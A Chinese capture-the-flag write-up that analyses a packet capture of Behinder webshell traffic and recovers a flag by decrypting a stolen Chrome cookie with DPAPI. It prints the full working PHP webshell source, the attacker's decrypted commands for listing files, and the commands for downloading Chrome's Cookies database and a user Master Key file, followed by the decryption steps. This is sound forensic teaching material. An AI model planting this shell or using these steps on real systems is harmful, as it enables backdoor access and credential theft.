TAG:冰蝎流量分析、Chrome浏览器cookies内容查看、MISC

前言:感谢不愿透露姓名的一位师傅,帮助我解决了最后的cookies问题。他详细的思路分析帮了大忙。

冰蝎流量分析概述

这道题是2019年3CTF(360杯网络安全职业技能大赛)一道基于冰蝎流量的MISC流量分析。

分析题目之前先来明确下什么是webshell客户端。

WebShell客户端是一种用于服务器上WebShell后门与攻击客户端之间进行通信的程序,我们通常可以根据WebShell客户端的流量来判断服务器上是否存在WebShell后门。

目前常见的webshell客户端有如下几种

中国菜刀(使用量最大,适用范围最广的WebShell客户端);

蚁剑(一种常用的WebShell客户端);

冰蝎(流量加密客户端);

Cknife(C刀,使用Java语言编写)

Weevely(kali中的中国菜刀)

这是很接近实战的一道题,现在网络上“菜刀”、“cknife”等等webshell管理工具的流量识别是比较容易实现的,但是在冰蝎是其中比较特殊的一种,“冰蝎”是一款动态二进制加密webshell客户端,目前基于这个工具的流量特征分析还比较少,主要文献集中在先知社区(作者自己的文章和前人的分析文章都放在了本篇最后

我记得在流量分析入门的时候专门有做过菜刀流量(BUU也保存了很多菜刀的流量分析),今年给新生出题的时候专门复现了一下。菜刀只有2016版本加入了混淆,Cknife是在body部分进行base64解码就可以得到,特征和菜刀区别不大

题目附件(4ypc)

冰蝎流程分析

流1

1-1

显而易见的上传了一个shell.php

贴出来一下

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

明显的冰蝎shell(冰蝎不能使用传统一句话木马进行连接

返回如下,上传的shell被更名为file_5d81f9f4d22d41.67475082.php,并且指定了路径

HTTP/1.1 200 OK
Date: Wed, 18 Sep 2019 09:33:40 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
X-Powered-By: PHP/7.3.4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html;charset=utf-8

47
<pre><br>............./upload/20190918/file_5d81f9f4d22d41.67475082.php
0

流2,get请求访问了上传的这个shell(还有一点要注明,第一代webshell基本使用的post方式与一句话木马进行连接)

2-1

这里我们看一下原作者对冰蝎加密原理的简介来理解这一步发生了什么

3

所以我们可以知道,这里是通过GET形式向服务器发送了一个密钥的申请请求,被shell植入的服务器收到后产生随机密钥并写入Session。

由上面图2可知,这里返回的密钥是

#AES是16位密钥
d59042be6e437849

4-1

对应的Session为

hie9ignjc1393vr719m0n38872

此后客户端对需要执行的命令进行AES加密,加密后的流量如下

5-1

冰蝎流量解密方法

AES批量解密网站:http://tools.bugscaner.com/cryptoaes/

解密得到的结还需要经过base64解码一次

7

服务端返回流量如下

8

$result["status"] 表示命令是否执行成功

$result["msg"]表示命令执行的结果

最终执行的命令是content="f5dfe44a-0213-45db-a617-8db5e5a07ab3"

f5dfe44a-0213-45db-a617-8db5e5a07ab3是一串UUID

UUID 是 通用唯一识别码(Universally Unique Identifier)的缩写,是一种软件建构的标准,亦为开放软件基金会组织在分布式计算环境领域的一部分。其目的,是让分布式系统中的所有元素,都能有唯一的辨识信息,而不需要通过中央控制端来做辨识信息的指定。如此一来,每个人都可以创建不与其它人冲突的UUID。在这样的情况下,就不需考虑数据库创建时的名称重复问题。目前最广泛应用的UUID,是微软公司全局唯一标识符GUID),而其他重要的应用,则有Linux ext2/ext3文件系统、LUKS加密分区、GNOME、KDE、Mac OS X等等。

联系之后的操作可以猜测到这里的操作是连接数据库

但是之后的返回数据有很多,我没有解出来,等空了仔细分析一下。

之后在流8能明显审计到一个SQLite数据库

9

保存下来看看,后缀为db(根据文件头自己查询得到)需要用工具打开(推荐SQLite Developer,因为有的查看不到下面提到的那个字段)

cookies表里有flag,但是value值为空。

这里是一个难点,查询资料可以知道,chrome33以上对Cookies进行了加密,value变为空,增加了加密的encrypted_value字段,字段类型是BLOB

BLOB (binary large object)----二进制大对象,是一个可以存储二进制文件的容器。

在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型。BLOB是一个大文件,典型的BLOB是一张图片或一个声音文件,由于它们的尺寸,必须使用特殊的方式来处理(例如:上传、下载或者存放到一个数据库)。

根据Eric Raymond的说法,处理BLOB的主要思想就是让文件处理器(如数据库管理器)不去理会文件是什么,而是关心如何去处理它。

12

以上都是做题思路,但是在这里如果继续用这种思路肯定无法再完成之后的步骤。接下来我们通过攻击者行为分析来看一下攻击者要实现的目的是什么。

攻击行为分析

因为编码较多,推荐wireshark导出http查看

攻击者(127.16.127.1)大致行为如下

  1. 先上传了冰蝎脚本,客户端和服务端都部署设置AES加密成功,控制了受害机(172.16.127.147)

  2. 查看phpinfo(这段流量在流2,很长一串的那个),解出来之后转base64,另存为html查看

    11

  3. 查看目录文件

    ...
    $mode="list";$path="C:/";
    main($mode,$path);
    
  4. 查看了password.txt(猜测为hint)

    ...
    $mode="show";$path="C:/Users/shadow/Desktop/password.txt";$content="";
    main($mode,$path,$content);
    #内容为p@ssw0rd
    
  5. 下载chrome cookies文件(sqlite 3)

    ...
    $mode="download";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies";
    main($mode,$path);
    
  6. 下载了Master Key file

    ...
    $mode="download";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa";
    main($mode,$path);
    
    #原始数据
    31 64 34 0D 0A 02 00 00 00 00 00 00 00 00 00 00 00 36 00 65 00 63 00 66 00 37 00 36 00 62 00 64 00 2D 00 31 00 38 00 30 00 33 00 2D 00 34 00 33 00 37 00 65 00 2D 00 39 00 32 00 65 00 36 00 2D 00 32 00 38 00 64 00 64 00 33 00 36 00 63 00 39 00 30 00 37 00 61 00 61 00 00 00 00 00 00 00 00 00 05 00 00 00 B0 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 25 C6 96 EC F4 02 7E 81 05 80 45 3D 60 97 F5 2A 40 1F 00 00 0E 80 00 00 10 66 00 00 69 73 A1 37 F6 23 1F 30 8A 1F A2 28 99 31 74 17 DE EA 79 B8 B9 C8 35 06 A6 15 03 C8 97 5E 9C 5C BC 8F F1 BC 1D 1A 38 07 90 14 65 BA E9 EE 1E 40 83 E0 67 81 72 EF EB 87 32 1B E7 75 7E EC D6 FD 9B 17 5E F1 C6 49 6F 8D B4 37 8D BB 4A 86 B1 DC 1F 24 ED 62 7A 18 99 9E 7E D9 80 BD F7 58 F1 21 B3 48 73 65 F9 94 16 21 5A 65 9D 5F 63 1C BD 28 9D B9 40 53 66 1B 39 75 4C EB AC F5 C1 F1 77 FA 3B 6C 07 85 F4 83 63 52 44 A2 7A 54 3C F3 18 F6 02 00 00 00 78 F3 0E 4B F3 42 63 06 CD FF 84 34 BD B1 6D 20 40 1F 00 00 0E 80 00 00 10 66 00 00 37 60 DC D7 90 56 7B 63 F7 93 1E 0A FA CD AC FB B6 CB 94 03 09 AE 53 AB F6 2D 22 32 D0 1A 75 62 EF F3 B6 76 EE 80 D2 D0 F4 BB A7 8D FE 46 F7 BD 67 EF 75 9F DB D2 80 2D AE 7A 36 CC 2C DD A9 E3 5C E2 83 01 58 FD 7D 24 FC CC 15 C2 84 BE 92 08 40 E4 C0 CF DE 65 2A 5D 32 1D B3 A4 D8 72 93 F2 3B 37 0D AA 50 78 14 61 C7 0A 9C FA 88 56 BD CF 03 00 00 00 55 90 6B EE 60 0F 51 42 81 B7 14 D2 20 90 D3 13 0D 0A
    

解题思路

不得不说,相比于纯粹刁难做题者的无意义脑洞MISC,这道题具有很好的学习意义。

以下思路经过大佬点拨。

解密过程中我们经常可以得到一个固定的路径,所以我们Google查询/AppData/Roaming/Microsoft/Protect/ + chrome可以发现一种滥用User DPAPI进行攻击的方法。

会使用到:

  • chrome cookies

  • Master Key:

    64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中
    
  • Master Key file:

    二进制文件,可使用用户登录密码对其解密,获得Master Key
    

分为两种:

·用户Master Key file,位于%APPDATA%\Microsoft\Protect%SID%

·系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

  • BLOB file

  • SID(Security Identifiers,SID)

    安全标识符,是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。Windows 2000 中的内部进程将引用帐户的 SID 而不是帐户的用户或组名。如果创建帐户,再删除帐户,然后使用相同的用户名创建另一个帐户,则新帐户将不具有授权给前一个帐户的权力或权限,原因是该帐户具有不同的 SID 号。
    

DPAPI加密流程详情参看文章末参考文章,一定要先理解加密才能知道解密的步骤和所需文件

经过查阅,经过多方论证,DPAPI是符合安全性的,使用用户的ntlm hash,无法导出Chrome浏览器保存的明文密码。唯一的解密方法需要首先获得目标系统的访问权限(也就是说此时系统已被攻破)

对于一个未获得访问权限的Windows系统,目前使用DPAPI不会造成密码被破解的问题

DPAPI解密思路

利用软件Windows Password Recovery可以解开

先使用SQLite Developer保存BLOB文件下来,默认存为txt格式

14

安装后Utils→DPAPI Decoder and Analyser →Decrypt DPAPI data blob

13

导入刚才保存的txt文件,下一步

15

记得我们之前提到的下载的Master Key file吗?这一步我们需要知道这个文件的名字,还是AES解密一下

...
$mode="download";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa";
main($mode,$path);
#文件名就是6ecf76bd-1803-437e-92e6-28dd36c907aa,把得到的文件重命名为这个

接下来填写

#SID在上面Master Key file路径看得到,如果不懂格式还是详细的看下文末参考文章
User SID:S-1-5-21-2127750816-4215895028-2373289296-1001
User logon password:p@ssw0rd

16
最后我们得到最终恢复的密码,也就是flag

028dedc531

17


参考文章:

冰蝎作者文章:

功能介绍链接:

工作原理链接:

冰蝎加密原理分析:

DPAPI相关:


写在后面:

终于完成了,这应该是我写的最多的一道题。最后还是感谢下指导我的大师傅![抱拳]

顺带一提,写这篇的时候寝室凳子烂了,摇摇晃晃的,担心再坐两下可能要散架了吧😂
哎,不知道是宜家的凳子质量太差还是我该减肥了